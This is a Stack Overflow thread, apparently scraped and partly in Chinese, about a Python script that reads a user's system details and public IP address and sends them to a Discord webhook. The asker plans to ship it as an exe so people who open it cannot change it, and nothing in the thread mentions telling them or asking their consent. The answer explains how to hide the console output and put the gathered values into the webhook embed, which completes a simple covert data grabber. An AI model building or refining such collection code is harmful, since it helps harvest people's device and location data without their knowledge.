【问题标题】:Posting to discord webhook from python从 python 发布到不和谐的 webhook
【发布时间】:2021-04-07 20:57:00
【问题描述】:

由于基本上没有人观看而重新发布

我目前正在开发一个 python 程序,我正在寻找要发送到不和谐 webhook 的用户计算机数据,这个想法是当他们打开程序时,用户计算机的硬件信息将被发送到 webhook还会发送他们的公共 IP 地址,在我完成程序后,它将使用 pyinstaller 将其转换为 exe,因此人们可以打开它,但他们将无法编辑它。请查看我在下面尝试过的代码,如果有人可以编辑/更改代码以使其正常工作并成功将用户数据发送到 webhook,这将是一个巨大的帮助!谢谢

我从 https://pypi.org/project/discord-webhook/ 获取了不和谐的 webhook 文本

#getting system info
ip = get('https://api.ipify.org').text
print('Ip address=: {}'.format(ip))
print("="*40, "System Information", "="*40)
uname = platform.uname()
print(f"System: {uname.system}")
print(f"Node Name: {uname.node}")
print(f"Release: {uname.release}")
print(f"Version: {uname.version}")
print(f"Machine: {uname.machine}")
print(f"Processor: {uname.processor}")
#Discord webhook stuff
from discord_webhook import DiscordWebhook, DiscordEmbed

webhook = DiscordWebhook(url="your webhook url", username="New Webhook Username")

embed = DiscordEmbed(
    title="Embed Title", description="Your Embed Description", color=242424
)
embed.set_author(
    name="Author Name",
    url="https://github.com/lovvskillz",
    icon_url="https://avatars0.githubusercontent.com/u/14542790",
)
embed.set_footer(text="Embed Footer Text")
embed.set_timestamp()
# Set `inline=False` for the embed field to occupy the whole line
embed.add_embed_field(name="System", value="Lorem ipsum", inline=False)
embed.add_embed_field(name="Name", value="dolor sit", inline=False)
embed.add_embed_field(name="Version", value="amet consetetur")
embed.add_embed_field(name="Processor", value="sadipscing elitr")

webhook.add_embed(embed)
response = webhook.execute()
The system info bit works fine on its own it prints out all the info that you can see, the tricky part is the Discord section as im stuck on how to send the system data over to the discord webhook rather than it just printing out into the console.

任何帮助都会很棒

谢谢,奥利弗

(我已删除任何信息,例如我用来阻止人们登录的不和谐网络钩子)

【问题讨论】:

    标签: python discord webhooks


    【解决方案1】:

    您可以删除(或在前面添加 # 注释)打印行以阻止脚本在控制台上打印信息。

    要在 webhook 中发布信息,您可以在 webhook 的 value 字段中设置打印语句中的值。示例:

     embed.add_embed_field(name="System", value=f"{uname.system}", inline=False)
    

    【讨论】:

      猜你喜欢
      • 2021-06-03
      • 2021-05-28
      • 2021-07-29
      • 2021-07-07
      • 2020-03-31
      • 2021-04-30
      • 1970-01-01
      • 2018-10-29
      • 2021-05-19
      相关资源
      最近更新 更多